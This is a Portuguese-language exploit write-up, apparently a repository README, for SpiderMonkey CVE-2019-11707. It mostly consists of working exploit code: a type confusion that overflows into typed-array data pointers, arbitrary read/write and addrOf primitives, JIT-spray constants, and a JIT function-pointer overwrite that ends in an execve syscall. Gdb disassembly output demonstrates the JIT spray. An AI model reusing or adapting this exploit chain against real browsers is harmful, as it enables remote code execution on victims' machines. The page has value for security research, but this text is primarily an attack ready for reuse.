SpiderMonkey - CVE-2019-11707

Bug: https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

Screenshots

source

exploit

Arquivos

exploit.js - Exploit real, precedido pelos util.js & Int64.js do saelo.
stager.js - Usado para criar constantes, precedido pelos util.js & Int64.js do saelo.
stager.py - Usado para montar instruções usando keystone. A saída é fornecida para stager.js.

Visão Geral do Exploit

Use a confusão de tipos para escrever além de um buffer de array tipado (feito em setup()).

const exploit_pack = [
  new Uint8Array(0x10),
  new Uint8Array(0x10), // Use this [:8] to control data pointer of below array
  new Uint8Array(0x10), // Arbitrary RW array
]

TLDR: Escreva além do buffer de suporte de exploit_pack[0] para o campo de ponteiro de dados de exploit_pack[1]. Aponte-o para o endereço do campo de ponteiro de dados de exploit_pack[2].

      // setup()
      const v11 = v4.pop();
      const addr = v11[11];
      v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();

Leitura/Escrita arbitrária possível, o endereço pode ser definido como conteúdo de exploit_pack[1] que modifica internamente o ponteiro de dados de exploit_pack[2]. Então use exploit_pack[2] para ler ou escrever memória.

function read(ptr) {
  read_addr = new Int64(ptr);
  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = read_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // Remove 0xfffe in pointer
  // bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}

function write(ptr, value) {
  let addr = new Int64(ptr);
  let bytes = new Int64(value);

  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = addr.byteAt(idx);
  }

  for (var idx=0; idx < 8; idx++) {
    exploit_pack[2][idx] = bytes.byteAt(idx);
  }
}

Usando o próprio exploit_pack, construa uma primitiva addrOf.

function addrOf(obj) {
  exploit_pack[3] = obj;

  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = leaking_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // Remove 0xfffe in pointer
  bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}

Faça um JIT spray básico, percorra algumas estruturas para obter o ponteiro da função JIT, encontre um deslocamento interessante para pular. Sobrescreva o ponteiro da função real com este deslocamento.

JIT Spray

Em resumo, podemos forçar funções como abaixo em páginas r-x.

const stager = function (a, b, c, d) {
  const rax = a;
  const rdi = b;
  const rsi = c;
  const rdx = d;

  const g0 = 9.073632937307107e-271;
  const g1 = 1.6063957816990143e-270;
  const g2 = 1.6082444981830348e-270;
  const g3 = 1.6100929890177583e-270;
  const g4 = 1.6119413952339954e-270;
  const g5 = 1.68020602465e-313;
}

Isso se parece com algo como abaixo após o JIT. Você pode ver nossa constante 0xdeadc0debaad.

Actual JIT

gef➤  disas /r 0x0000085a6e604531,+20
Dump of assembler code from 0x85a6e604531 to 0x85a6e604545:
   0x0000085a6e604531:  49 bb 80 ad ba de c0 ad de 07   movabs r11,0x7deadc0debaad80
   0x0000085a6e60453b:  4c 89 5d a8                      mov    QWORD PTR [rbp-0x58],r11
   0x0000085a6e60453f:  49 bb c0 48 8b 44 24 28 eb 07   movabs r11,0x7eb2824448b48c0
End of assembler dump.

Se os mesmos bytes começam a ser interpretados como instruções a partir de um deslocamento diferente como abaixo, tudo muda. Esta é a essência do JIT spray.

Offset JIT

gef➤  disas /r 0x0000085a6e604542,+10
Dump of assembler code from 0x85a6e604542 to 0x85a6e604556:
   0x0000085a6e604542:  48 8b 44 24 28  mov    rax,QWORD PTR [rsp+0x28]
   0x0000085a6e604547:  eb 07           jmp    0x85a6e604550
End of assembler dump.

A ideia é contornar os bytes 4c 89 5d XX 49 bb 00 de alguma forma com 7 bytes que controlamos. Podemos pular sobre esses bytes usando um jmp relativo.

$ rasm2 -a x86 -b 64 "jmp 7"
eb05

Então um jmp relativo leva 2 bytes, temos 5 bytes para escrever nossas instruções de assembly. Os parâmetros da função JIT estão disponíveis em um deslocamento na pilha quando nossa função é chamada. Portanto, nossa função JIT estava recebendo parâmetros.

registers

De acordo com a convenção de chamada X86-64 para syscalls no Linux, precisamos das seguintes coisas nos registradores para uma syscall execve.

rax: número da syscall
rdi: caminho do programa
rsi: argv
rdx: envp

As instruções mov a seguir são uma bênção para mover valores de um deslocamento na pilha para os registradores relevantes. Ela tem exatamente 5 bytes.

$ rasm2 -a x86 -b 64 "mov rdi, QWORD [rsp + 0x28]"
488b442428

Então, podemos construir nossas constantes. Consulte stager.py -> stager.js para ver como elas foram geradas.
Basta sobrescrever o ponteiro da função JIT real na estrutura do objeto e substituí-lo pelo deslocamento. Chame a função com os parâmetros.

write(jitGetter, jmpOffset);
stager(
  new Int64(59).asDouble(),
  new Int64(pathAddr).asDouble(),
  new Int64(argvBufferAddr).asDouble(),
  new Int64(environBufferAddr).asDouble());

Dada a forma como o stager foi escrito, é fácil fazer qualquer syscall, com 3 argumentos.

cve-2019-11707

Mais Populares

cve-2019-11707

Mais Populares

SpiderMonkey - CVE-2019-11707

Screenshots

Arquivos

Visão Geral do Exploit

JIT Spray

Links Super Úteis